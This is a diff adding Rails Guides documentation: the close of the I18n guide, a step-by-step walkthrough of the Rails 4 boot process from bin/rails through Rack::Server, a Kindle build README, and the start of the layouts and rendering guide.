+To look up multiple translations at once, an array of keys can be passed:
+
+```ruby
+I18n.t [:odd, :even], scope: 'errors.messages'
+# => ["must be odd", "must be even"]
+```
+
+Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
+
+```ruby
+I18n.t 'activerecord.errors.messages'
+# => {:inclusion=>"is not included in the list", :exclusion=> ... }
+```
+
+#### "Lazy" Lookup
+
+Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
+
+```yaml
+es:
+ books:
+ index:
+ title: "Título"
+```
+
+you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot):
+
+```erb
+<%= t '.title' %>
+```
+
+### Interpolation
+
+In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature.
+
+All options besides `:default` and `:scope` that are passed to `#translate` will be interpolated to the translation:
+
+```ruby
+I18n.backend.store_translations :en, thanks: 'Thanks %{name}!'
+I18n.translate :thanks, name: 'Jeremy'
+# => 'Thanks Jeremy!'
+```
+
+If a translation uses `:default` or `:scope` as an interpolation variable, an `I18n::ReservedInterpolationKey` exception is raised. If a translation expects an interpolation variable, but this has not been passed to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised.
+
+### Pluralization
+
+In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar), [Japanese](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja), [Russian](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or [...]
+
+The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
+
+```ruby
+I18n.backend.store_translations :en, inbox: {
+ one: 'one message',
+ other: '%{count} messages'
+}
+I18n.translate :inbox, count: 2
+# => '2 messages'
+
+I18n.translate :inbox, count: 1
+# => 'one message'
+```
+
+The algorithm for pluralizations in `:en` is as simple as:
+
+```ruby
+entry[count == 1 ? 0 : 1]
+```
+
+I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero).
+
+If the lookup for the key does not return a Hash suitable for pluralization, an `18n::InvalidPluralizationData` exception is raised.
+
+### Setting and Passing a Locale
+
+The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`.
+
+If no locale is passed, `I18n.locale` is used:
+
+```ruby
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+```
+
+Explicitly passing a locale:
+
+```ruby
+I18n.t :foo, locale: :de
+I18n.l Time.now, locale: :de
+```
+
+The `I18n.locale` defaults to `I18n.default_locale` which defaults to :`en`. The default locale can be set like this:
+
+```ruby
+I18n.default_locale = :de
+```
+
+### Using Safe HTML Translations
+
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
+
+```yaml
+# config/locales/en.yml
+en:
+ welcome: <b>welcome!</b>
+ hello_html: <b>hello!</b>
+ title:
+ html: <b>title!</b>
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+```
+
+
+
+How to Store your Custom Translations
+-------------------------------------
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
+
+For example a Ruby Hash providing translations can look like this:
+
+```ruby
+{
+ pt: {
+ foo: {
+ bar: "baz"
+ }
+ }
+}
+```
+
+The equivalent YAML file would look like this:
+
+```ruby
+pt:
+ foo:
+ bar: baz
+```
+
+As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
+
+Here is a "real" example from the Active Support `en.yml` translations YAML file:
+
+```ruby
+en:
+ date:
+ formats:
+ default: "%Y-%m-%d"
+ short: "%b %d"
+ long: "%B %d, %Y"
+```
+
+So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
+
+```ruby
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+```
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+
+### Translations for Active Record Models
+
+You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names.
+
+For example when you add the following translations:
+
+```ruby
+en:
+ activerecord:
+ models:
+ user: Dude
+ attributes:
+ user:
+ login: "Handle"
+ # will translate User attribute "login" as "Handle"
+```
+
+Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".
+
+#### Error Message Scopes
+
+Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
+
+This gives you quite powerful means to flexibly adjust your messages to your application's needs.
+
+Consider a User model with a validation for the name attribute like this:
+
+```ruby
+class User < ActiveRecord::Base
+ validates :name, presence: true
+end
+```
+
+The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces:
+
+```ruby
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+errors.attributes.[attribute_name]
+errors.messages
+```
+
+Thus, in our example it will try the following keys in this order and return the first result:
+
+```ruby
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+```
+
+When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
+
+For example, you might have an Admin model inheriting from User:
+
+```ruby
+class Admin < User
+ validates :name, presence: true
+end
+```
+
+Then Active Record will look for messages in this order:
+
+```ruby
+activerecord.errors.models.admin.attributes.name.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+```
+
+This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
+
+#### Error Message Interpolation
+
+The translated model name, translated attribute name, and value are always available for interpolation.
+
+So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+
+* `count`, where available, can be used for pluralization if present:
+
+| validation | with option | message | interpolation |
+| ------------ | ------------------------- | ------------------------- | ------------- |
+| confirmation | - | :confirmation | - |
+| acceptance | - | :accepted | - |
+| presence | - | :blank | - |
+| length | :within, :in | :too_short | count |
+| length | :within, :in | :too_long | count |
+| length | :is | :wrong_length | count |
+| length | :minimum | :too_short | count |
+| length | :maximum | :too_long | count |
+| uniqueness | - | :taken | - |
+| format | - | :invalid | - |
+| inclusion | - | :inclusion | - |
+| exclusion | - | :exclusion | - |
+| associated | - | :invalid | - |
+| numericality | - | :not_a_number | - |
+| numericality | :greater_than | :greater_than | count |
+| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count |
+| numericality | :equal_to | :equal_to | count |
+| numericality | :less_than | :less_than | count |
+| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count |
+| numericality | :odd | :odd | - |
+| numericality | :even | :even | - |
+
+#### Translations for the Active Record `error_messages_for` Helper
+
+If you are using the Active Record `error_messages_for` helper, you will want to add
+translations for it.
+
+Rails ships with the following translations:
+
+```yaml
+en:
+ activerecord:
+ errors:
+ template:
+ header:
+ one: "1 error prohibited this %{model} from being saved"
+ other: "%{count} errors prohibited this %{model} from being saved"
+ body: "There were problems with the following fields:"
+```
+
+NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form)
+gem by adding this line to your Gemfile: `gem 'dynamic_form'`.
+
+### Translations for Action Mailer E-Mail Subjects
+
+If you don't pass a subject to the `mail` method, Action Mailer will try to find
+it in your translations. The performed lookup will use the pattern
+`<mailer_scope>.<action_name>.subject` to construct the key.
+
+```ruby
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+ def welcome(user)
+ #...
+ end
+end
+```
+
+```yaml
+en:
+ user_mailer:
+ welcome:
+ subject: "Welcome to Rails Guides!"
+```
+
+### Overview of Other Built-In Methods that Provide I18n Support
+
+Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
+
+#### Action View Helper Methods
+
+* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51) translations.
+
+* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the promp [...]
+
+* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2) scope.
+
+#### Active Model Methods
+
+* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+
+* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
+
+* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`).
+
+#### Active Support Methods
+
+* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope.
+
+Customize your I18n Setup
+-------------------------
+
+### Using Different Backends
+
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+
+That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
+
+```ruby
+I18n.backend = Globalize::Backend::Static.new
+```
+
+You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
+
+```ruby
+I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
+```
+
+### Using Different Exception Handlers
+
+The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
+
+```ruby
+MissingTranslationData # no translation was found for the requested key
+InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path
+```
+
+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception’s error message string containing the missing key/scope.
+
+The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
+
+In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method:
+
+```ruby
+module I18n
+ class JustRaiseExceptionHandler < ExceptionHandler
+ def call(exception, locale, key, options)
+ if exception.is_a?(MissingTranslation)
+ raise exception.to_exception
+ else
+ super
+ end
+ end
+ end
+end
+
+I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
+```
+
+This would re-raise only the `MissingTranslationData` exception, passing all other input to the default exception handler.
+
+However, if you are using `I18n::Backend::Pluralization` this handler will also raise `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule` exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:
+
+```ruby
+if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule'
+ raise exception.to_exception
+else
+ super
+end
+```
+
+Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`.
+
+To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option:
+
+```ruby
+I18n.t :foo, raise: true # always re-raises exceptions from the backend
+```
+
+Conclusion

+
+Contributing to Rails I18n
+--------------------------
+
+I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
+
+Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!))

+The Rails Initialization Process
+================================
+
+This guide explains the internals of the initialization process in Rails
+as of Rails 4. It is an extremely in-depth guide and recommended for advanced Rails developers.
+
+After reading this guide, you will know:
+
+* How to use `rails server`.
+
+--------------------------------------------------------------------------------
+
+This guide goes through every method call that is
+required to boot up the Ruby on Rails stack for a default Rails 4
+application, explaining each part in detail along the way. For this
+guide, we will be focusing on what happens when you execute +rails
+server+ to boot your app.
+
+NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
+
+TIP: If you want to follow along while browsing the Rails [source
+code](https://github.com/rails/rails), we recommend that you use the `t`
+key binding to open the file finder inside GitHub and find files
+quickly.
+
+Launch!
+-------
+
+Now we finally boot and initialize the app. It all starts with your app's
+`bin/rails` executable. A Rails application is usually started by running
+`rails console` or `rails server`.
+
+### `bin/rails`
+
+This file is as follows:
+
+```ruby
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require File.expand_path('../../config/boot', __FILE__)
+require 'rails/commands'
+```
+
+The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up.
+
+### `config/boot.rb`
+
+`config/boot.rb` contains:
+
+```ruby
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+```
+
+In a standard Rails application, there's a `Gemfile` which declares all
+dependencies of the application. `config/boot.rb` sets
+`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile
+exists, `bundler/setup` is then required.
+
+The gems that a Rails 4 application depends on are as follows:
+
+TODO: change these when the Rails 4 release is near.
+
+* abstract (1.0.0)
+* actionmailer (4.0.0.beta)
+* actionpack (4.0.0.beta)
+* activemodel (4.0.0.beta)
+* activerecord (4.0.0.beta)
+* activesupport (4.0.0.beta)
+* arel (2.0.7)
+* builder (3.0.0)
+* bundler (1.0.6)
+* erubis (2.6.6)
+* i18n (0.5.0)
+* mail (2.2.12)
+* mime-types (1.16)
+* polyglot (0.3.1)
+* rack (1.2.1)
+* rack-cache (0.5.3)
+* rack-mount (0.6.13)
+* rack-test (0.5.6)
+* rails (4.0.0.beta)
+* railties (4.0.0.beta)
+* rake (0.8.7)
+* sqlite3-ruby (1.3.2)
+* thor (0.14.6)
+* treetop (1.4.9)
+* tzinfo (0.3.23)
+
+### `rails/commands.rb`
+
+Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines:
+
+```ruby
+ARGV << '--help' if ARGV.empty?
+
+aliases = {
+ "g" => "generate",
+ "d" => "destroy",
+ "c" => "console",
+ "s" => "server",
+ "db" => "dbconsole",
+ "r" => "runner"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+```
+
+TIP: As you can see, an empty ARGV list will make Rails show the help
+snippet.
+
+If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code:
+
+```ruby
+when 'server'
+ # Change to the application's path if there is no config.ru file in current dir.
+ # This allows us to run `rails server` from other directories, but still get
+ # the main config.ru and properly set the tmp directory.
+ Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
+
+ require 'rails/commands/server'
+ Rails::Server.new.tap do |server|
+ # We need to require application after the server sets environment,
+ # otherwise the --environment option given to the server won't propagate.
+ require APP_PATH
+ Dir.chdir(Rails.application.root)
+ server.start
+ end
+```
+
+This file will change into the root of the directory (a path two directories back from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class.
+
+```ruby
+require 'fileutils'
+require 'optparse'
+require 'action_dispatch'
+
+module Rails
+ class Server < ::Rack::Server
+```
+
+`fileutils` and `optparse` are standard Ruby libraries which provide helper functions for working with files and parsing options.
+
+### `actionpack/lib/action_dispatch.rb`
+
+Action Dispatch is the routing component of the Rails framework.
+It adds functionalities like routing, session, and common middlewares.
+
+### `rails/commands/server.rb`
+
+The `Rails::Server` class is defined in this file as inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`:
+
+```ruby
+def initialize(*)
+ super
+ set_environment
+end
+```
+
+Firstly, `super` is called which calls the `initialize` method on `Rack::Server`.
+
+### Rack: `lib/rack/server.rb`
+
+`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
+
+The `initialize` method in `Rack::Server` simply sets a couple of variables:
+
+```ruby
+def initialize(options = nil)
+ @options = options
+ @app = options[:app] if options && options[:app]
+end
+```
+
+In this case, `options` will be `nil` so nothing happens in this method.
+
+After `super` has finished in `Rack::Server`, we jump back to `rails/commands/server.rb`. At this point, `set_environment` is called within the context of the `Rails::Server` object and this method doesn't appear to do much at first glance:
+
+```ruby
+def set_environment
+ ENV["RAILS_ENV"] ||= options[:environment]
+end
+```
+
+In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this:
+
+```ruby
+def options
+ @options ||= parse_options(ARGV)
+end
+```
+
+Then `parse_options` is defined like this:
+
+```ruby
+def parse_options(args)
+ options = default_options
+
+ # Don't evaluate CGI ISINDEX parameters.
+ # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
+ args.clear if ENV.include?("REQUEST_METHOD")
+
+ options.merge! opt_parser.parse! args
+ options[:config] = ::File.expand_path(options[:config])
+ ENV["RACK_ENV"] = options[:environment]
+ options
+end
+```
+
+With the `default_options` set to this:
+
+```ruby
+def default_options
+ {
+ :environment => ENV['RACK_ENV'] || "development",
+ :pid => nil,
+ :Port => 9292,
+ :Host => "0.0.0.0",
+ :AccessLog => [],
+ :config => "config.ru"
+ }
+end
+```
+
+There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`
+
+```ruby
+def opt_parser
+ Options.new
+end
+```
+
+The class **is** defined in `Rack::Server`, but is overwritten in `Rails::Server` to take different arguments. Its `parse!` method begins like this:
+
+```ruby
+def parse!(args)
+ args, options = args.dup, {}
+
+ opt_parser = OptionParser.new do |opts|
+ opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+ opts.on("-p", "--port=port", Integer,
+ "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
+ ...
+```
+
+This method will set up keys for the `options` which Rails will then be
+able to use to determine how its server should run. After `initialize`
+has finished, we jump back into `rails/server` where `APP_PATH` (which was
+set earlier) is required.
+
+### `config/application`
+
+When `require APP_PATH` is executed, `config/application.rb` is loaded.
+This file exists in your app and it's free for you to change based
+on your needs.
+
+### `Rails::Server#start`
+
+After `config/application` is loaded, `server.start` is called. This method is defined like this:
+
+```ruby
+def start
+ url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
+ puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+ puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
+ puts "=> Run `rails server -h` for more startup options"
+ trap(:INT) { exit }
+ puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+
+ #Create required tmp directories if not found
+ %w(cache pids sessions sockets).each do |dir_to_make|
+ FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
+ end
+
+ unless options[:daemonize]
+ wrapped_app # touch the app so the logger is set up
+
+ console = ActiveSupport::Logger.new($stdout)
+ console.formatter = Rails.logger.formatter
+
+ Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+ end
+
+ super
+ensure
+ # The '-h' option calls exit before @options is set.
+ # If we call 'options' with it unset, we get double help banners.
+ puts 'Exiting' unless @options && options[:daemonize]
+end
+```
+
+This is where the first output of the Rails initialization happens. This
+method creates a trap for `INT` signals, so if you `CTRL-C` the server,
+it will exit the process. As we can see from the code here, it will
+create the `tmp/cache`, `tmp/pids`, `tmp/sessions` and `tmp/sockets`
+directories. It then calls `wrapped_app` which is responsible for
+creating the Rack app, before creating and assigning an
+instance of `ActiveSupport::Logger`.
+
+The `super` method will call `Rack::Server.start` which begins its definition like this:
+
+```ruby
+def start &blk
+ if options[:warn]
+ $-w = true
+ end
+
+ if includes = options[:include]
+ $LOAD_PATH.unshift(*includes)
+ end
+
+ if library = options[:require]
+ require library
+ end
+
+ if options[:debug]
+ $DEBUG = true
+ require 'pp'
+ p options[:server]
+ pp wrapped_app
+ pp app
+ end
+
+ check_pid! if options[:pid]
+
+ # Touch the wrapped app, so that the config.ru is loaded before
+ # daemonization (i.e. before chdir, etc).
+ wrapped_app
+
+ daemonize_app if options[:daemonize]
+
+ write_pid if options[:pid]
+
+ trap(:INT) do
+ if server.respond_to?(:shutdown)
+ server.shutdown
+ else
+ exit
+ end
+ end
+
+ server.run wrapped_app, options, &blk
+end
+```
+
+The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time
+we're going to explore more (even though it was executed before, and
+thus memorized by now).
+
+```ruby
+ at wrapped_app ||= build_app app
+```
+
+The `app` method here is defined like so:
+
+```ruby
+def app
+ @app ||= begin
+ if !::File.exist? options[:config]
+ abort "configuration #{options[:config]} not found"
+ end
+
+ app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+ self.options.merge! options
+ app
+ end
+end
+```
+
+The `options[:config]` value defaults to `config.ru` which contains this:
+
+```ruby
+# This file is used by Rack-based servers to start the application.
+
+require ::File.expand_path('../config/environment', __FILE__)
+run <%= app_const %>
+```
+
+
+The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
+
+```ruby
+app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
+ TOPLEVEL_BINDING, config
+```
+
+The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:
+
+```ruby
+require ::File.expand_path('../config/environment', __FILE__)
+```
+
+### `config/environment.rb`
+
+This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
+
+This file begins with requiring `config/application.rb`.
+
+### `config/application.rb`
+
+This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger.
+
+Then the fun begins!
+
+Loading Rails
+-------------
+
+The next line in `config/application.rb` is:
+
+```ruby
+require 'rails/all'
+```
+
+### `railties/lib/rails/all.rb`
+
+This file is responsible for requiring all the individual frameworks of Rails:
+
+```ruby
+require "rails"
+
+%w(
+ active_record
+ action_controller
+ action_mailer
+ rails/test_unit
+ sprockets
+).each do |framework|
+ begin
+ require "#{framework}/railtie"
+ rescue LoadError
+ end
+end
+```
+
+This is where all the Rails frameworks are loaded and thus made
+available to the application. We won't go into detail of what happens
+inside each of those frameworks, but you're encouraged to try and
+explore them on your own.
+
+For now, just keep in mind that common functionality like Rails engines,
+I18n and Rails configuration is all being defined here.
+
+### Back to `config/environment.rb`
+
+When `config/application.rb` has finished loading Rails, and defined
+your application namespace, you go back to `config/environment.rb`,
+where your application is initialized. For example, if you application was called
+`Blog`, here you would find `Blog::Application.initialize!`, which is
+defined in `rails/application.rb`
+
+### `railties/lib/rails/application.rb`
+
+The `initialize!` method looks like this:
+
+```ruby
+def initialize!(group=:default) #:nodoc:
+ raise "Application has been already initialized." if @initialized
+ run_initializers(group, self)
+ @initialized = true
+ self
+end
+```
+
+As you can see, you can only initialize an app once. This is also where the initializers are run.
+
+TODO: review this
+
+The initializers code itself is tricky. What Rails is doing here is it
+traverses all the class ancestors looking for an `initializers` method,
+sorting them and running them. For example, the `Engine` class will make
+all the engines available by providing the `initializers` method.
+
+After this is done we go back to `Rack::Server`
+
+### Rack: lib/rack/server.rb
+
+Last time we left when the `app` method was being defined:
+
+```ruby
+def app
+ @app ||= begin
+ if !::File.exist? options[:config]
+ abort "configuration #{options[:config]} not found"
+ end
+
+ app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+ self.options.merge! options
+ app
+ end
+end
+```
+
+At this point `app` is the Rails app itself (a middleware), and what
+happens next is Rack will call all the provided middlewares:
+
+```ruby
+def build_app(app)
+ middleware[options[:environment]].reverse_each do |middleware|
+ middleware = middleware.call(self) if middleware.respond_to?(:call)
+ next unless middleware
+ klass = middleware.shift
+ app = klass.new(app, *middleware)
+ end
+ app
+end
+```
+
+Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`.
+Here's how it looked like when we left:
+
+```ruby
+server.run wrapped_app, options, &blk
+```
+
+At this point, the implementation of `server.run` will depend on the
+server you're using. For example, if you were using Mongrel, here's what
+the `run` method would look like:
+
+```ruby
+def self.run(app, options={})
+ server = ::Mongrel::HttpServer.new(
+ options[:Host] || '0.0.0.0',
+ options[:Port] || 8080,
+ options[:num_processors] || 950,
+ options[:throttle] || 0,
+ options[:timeout] || 60)
+ # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
+ # Use is similar to #run, replacing the app argument with a hash of
+ # { path=>app, ... } or an instance of Rack::URLMap.
+ if options[:map]
+ if app.is_a? Hash
+ app.each do |path, appl|
+ path = '/'+path unless path[0] == ?/
+ server.register(path, Rack::Handler::Mongrel.new(appl))
+ end
+ elsif app.is_a? URLMap
+ app.instance_variable_get(:@mapping).each do |(host, path, appl)|
+ next if !host.nil? && !options[:Host].nil? && options[:Host] != host
+ path = '/'+path unless path[0] == ?/
+ server.register(path, Rack::Handler::Mongrel.new(appl))
+ end
+ else
+ raise ArgumentError, "first argument should be a Hash or URLMap"
+ end
+ else
+ server.register('/', Rack::Handler::Mongrel.new(app))
+ end
+ yield server if block_given?
+ server.run.join
+end
+```
+
+We won't dig into the server configuration itself, but this is
+the last piece of our journey in the Rails initialization process.
+
+This high level overview will help you understand when your code is
+executed and how, and overall become a better Rails developer. If you
+still want to know more, the Rails source code itself is probably the
+best place to go next.

+# Rails Guides on the Kindle
+
+
+## Synopsis
+
+ 1. Obtain `kindlegen` from the link below and put the binary in your path
+ 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file
+ 3. Copy `output/kindle/rails_guides.mobi` to your Kindle
+
+## Resources
+
+ * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format)
+ * Example Periodical [.ncx](https://gist.github.com/mipearson/808c971ed087b839d462) and [.opf](https://gist.github.com/mipearson/d6349aa8488eca2ee6d0)

+ * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621)
+
+## TODO
+
+### Post release
+
+ * Integrate generated Kindle document into published HTML guides
+ * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it)
+ * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode)
+ * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides
+ * `.epub` generation.

+Layouts and Rendering in Rails
+==============================
+
+This guide covers the basic layout features of Action Controller and Action View.
+
+After reading this guide, you will know:
+
+* How to use the various rendering methods built into Rails.
+* How to create layouts with multiple content sections.
+* How to use partials to DRY up your views.
+* How to use nested layouts (sub-templates).
+
+--------------------------------------------------------------------------------
+
+Overview: How the Pieces Fit Together
+-------------------------------------
+
+This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
+
+In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
+
+Creating Responses
+------------------
+
+From the controller's point of view, there are three ways to create an HTTP response:
+
+* Call `render` to create a full response to send back to the browser
+* Call `redirect_to` to send an HTTP redirect status code to the browser
+* Call `head` to create a response consisting solely of HTTP headers to send back to the browser
+
+### Rendering by Default: Convention Over Configuration in Action
+
+You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class:
+
+```ruby
+class BooksController < ApplicationController
+end
+```
+
+And the following in your routes file:
+
